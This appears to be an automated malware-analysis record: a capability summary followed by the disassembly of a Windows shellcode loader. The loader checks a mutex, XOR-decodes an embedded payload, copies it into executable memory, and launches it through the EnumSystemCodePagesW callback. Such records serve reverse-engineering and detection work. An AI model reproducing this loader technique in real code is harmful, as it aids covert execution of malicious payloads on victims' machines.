Function at 0x4aeb30
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Encode data using xor
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x148
call fcn.0040a6f0
mov dword [esp + 8], str.msvcrt.d11
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
sub esp, 0xc
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4aee53
xor eax, eax
lea edi, [ebp - 0x118]
mov ecx, 0x40
xor esi, esi
rep stosd dword es:[edi], eax
lea ebx, [ebp - 0x11c]
xor edi, edi
mov dword [ebp - 0x11c], esi
mov dword [esp + 8], 0x104
mov dword [esp + 4], ebx
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
sub esp, 0xc
test eax, eax
je 0x4aee49
mov dword [esp + 4], str.ABCDEFGHIJKLNMOPQRSTVUWXYZ
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
je 0x4aee49
xor ecx, ecx
xor ebx, ebx
mov dword [ebp - 0x120], ecx
movzx edx, byte [ebx + str.:_v_v]
mov ecx, edx
xor ecx, 0x7b
and ecx, 1
mov eax, ecx
or eax, 2
test dl, 2
cmove ecx, eax
mov eax, ecx
or eax, 4
test dl, 4
cmove eax, ecx
mov ecx, eax
or ecx, 8
test dl, 8
cmove eax, ecx
mov ecx, eax
or ecx, 0x10
test dl, 0x10
cmove eax, ecx
mov ecx, eax
or ecx, 0x20
test dl, 0x20
cmove eax, ecx
mov ecx, eax
or ecx, 0x40
test dl, 0x40
cmove eax, ecx
mov ecx, eax
or ecx, 0xffffff80
test dl, dl
cmovs eax, ecx
add ebx, 1
mov byte [ebx + 0x4b713f], al
cmp ebx, 0x104
jne 0x4aebe0
lea esi, [ebp - 0x120]
mov dword [esp + 4], str.:_v_v
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [esp + 8], esi
mov dword [esp], 0x80000000
call ebx
sub esp, 0xc
test eax, eax
je 0x4aee49
xor edi, edi
lea esi, [esi]
movzx edx, byte [edi + str._4__:__4_t]
mov ecx, edx
xor ecx, 0x7b
and ecx, 1
mov eax, ecx
or eax, 2
test dl, 2
cmove ecx, eax
mov eax, ecx
or eax, 4
test dl, 4
cmove eax, ecx
mov ecx, eax
or ecx, 8
test dl, 8
cmove eax, ecx
mov ecx, eax
or ecx, 0x10
test dl, 0x10
cmove eax, ecx
mov ecx, eax
or ecx, 0x20
test dl, 0x20
cmove eax, ecx
mov ecx, eax
or ecx, 0x40
test dl, 0x40
cmove eax, ecx
mov ecx, eax
or ecx, 0xffffff80
test dl, dl
cmovs eax, ecx
add edi, 1
mov byte [edi + 0x4b701f], al
cmp edi, 0x104
jne 0x4aec80
mov dword [esp + 8], esi
mov dword [esp + 4], str._4__:__4_t
mov dword [esp], 0x80000002
call ebx
sub esp, 0xc
test eax, eax
je 0x4aee49
movzx eax, byte [str.abcdefghijklnmopqrstuvwxyz]
mov esi, eax
mov ebx, eax
sar esi, 1
mov dword [ebp - 0x12c], esi
mov esi, eax
sar esi, 2
mov dword [ebp - 0x130], esi
mov esi, eax
sar esi, 3
mov dword [ebp - 0x134], esi
mov esi, eax
sar esi, 4
mov dword [ebp - 0x138], esi
mov esi, eax
sar esi, 5
mov dword [ebp - 0x13c], esi
mov esi, eax
sar eax, 7
sar esi, 6
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x140], esi
mov esi, 1
jmp 0x4aee31
movzx edx, byte [esi + str.abcdefghijklnmopqrstuvwxyz]
mov edi, dword [ebp - 0x12c]
mov eax, edx
mov ecx, edx
xor eax, ebx
sar ecx, 1
and eax, 1
xor ecx, edi
mov edi, eax
or edi, 2
and ecx, 1
mov ecx, edx
cmovne eax, edi
mov edi, dword [ebp - 0x130]
sar ecx, 2
xor ecx, edi
mov edi, eax
or edi, 4
and ecx, 1
mov ecx, edx
cmovne eax, edi
mov edi, dword [ebp - 0x134]
sar ecx, 3
xor ecx, edi
mov edi, eax
or edi, 8
and ecx, 1
mov ecx, edx
cmovne eax, edi
mov edi, dword [ebp - 0x138]
sar ecx, 4
xor ecx, edi
mov edi, eax
or edi, 0x10
and ecx, 1
mov ecx, edx
cmovne eax, edi
mov edi, dword [ebp - 0x13c]
sar ecx, 5
xor ecx, edi
mov edi, eax
or edi, 0x20
and ecx, 1
mov ecx, edx
cmovne eax, edi
mov edi, dword [ebp - 0x140]
sar ecx, 6
xor ecx, edi
mov edi, eax
or edi, 0x40
and ecx, 1
cmovne eax, edi
mov edi, dword [ebp - 0x144]
sar edx, 7
mov ecx, eax
or ecx, 0xffffff80
cmp edx, edi
cmovne eax, ecx
add esi, 1
mov byte [esi + 0x4b737f], al
cmp esi, 0xfff
je 0x4aee67
mov dword [esp], str.msvcrt.d11
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
test eax, eax
je 0x4aed70
xor ebx, ebx
mov dword [esp], ebx
call sub.msvcrt.dll_exit
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
xor eax, eax
mov dword [esp], eax
call sub.msvcrt.dll_exit
xor eax, eax
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x1000
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [0x506044], eax
mov dword [esp + 8], 0xfff
mov dword [esp + 4], 0x4b7381
mov dword [esp], eax
call sub.msvcrt.dll_memmove
mov dword [esp + 4], 1
mov dword [esp], 0x4015b0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
xor eax, eax
push edx
push edx
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret